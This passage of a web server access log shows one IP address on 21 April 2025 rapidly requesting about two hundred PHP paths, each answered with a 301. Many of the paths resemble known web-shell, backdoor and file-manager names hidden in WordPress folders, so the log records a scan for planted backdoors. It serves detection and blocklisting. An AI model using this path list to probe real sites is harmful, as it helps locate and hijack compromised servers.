/wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:53 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:53 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:53 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:53 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:54 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:54 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:54 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:54 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:54 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:55 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:55 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:55 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:55 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:56 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:56 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:57 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:57 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:57 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:57 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:58 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:58 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:58 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:58 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:59 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:59 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:59 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:59 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:00 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:00 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:00 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:01 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:01 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:01 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:02 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:02 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:02 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:02 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:03 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:03 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:03 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:03 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:04 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:04 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:05 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:05 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:07 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:08 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:10 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:11 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:11 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:12 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:15 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:15 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:15 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:16 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:16 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:17 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:17 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:18 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:18 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:19 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:19 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:19 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:20 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:20 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:20 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:21 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:21 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:21 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:21 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:21 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:22 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:22 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:22 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:22 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:22 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:22 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:23 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:23 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:23 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:23 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:23 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:24 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:24 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:24 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:24 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:25 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:25 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:25 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:26 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:26 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:26 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:26 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:26 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:26 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:27 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:27 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:27 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:27 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:27 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:28 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:28 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:28 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:28 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:29 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:29 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:29 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:29 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:30 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:30 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:30 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:31 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:31 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:31 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:31 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:31 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:32 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:32 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:32 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:33 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:33 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:33 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:33 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:33 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:34 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:34 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:34 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:34 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:35 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:35 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:35 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:35 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:35 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:36 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:36 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:36 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:36 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:36 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:37 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:37 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:37 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:38 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:38 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:38 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:38 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:39 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:39 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:39 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:40 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:40 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:40 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:40 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:40 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:41 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:41 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:41 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:41 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:41 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:42 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:42 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:42 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:42 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:42 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:43 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:43 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:43 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:43 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:43 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:44 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:44 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:44 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:44 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:45 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:45 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:45 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:45 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:45 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:46 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:46 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:46 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:46 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:47 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:47 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:47 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:47 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:47 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:48 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:48 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:48 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:48 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:49 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:49 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:49 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:49 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:49 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:50 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:50 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:50 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:50 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:50 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:50 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:51 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:51 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:51 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:52 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:52 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:52 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:52 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:53 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:53 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:53 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:54 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:54 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:54 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:54 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:55 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:55 -0400] "GET 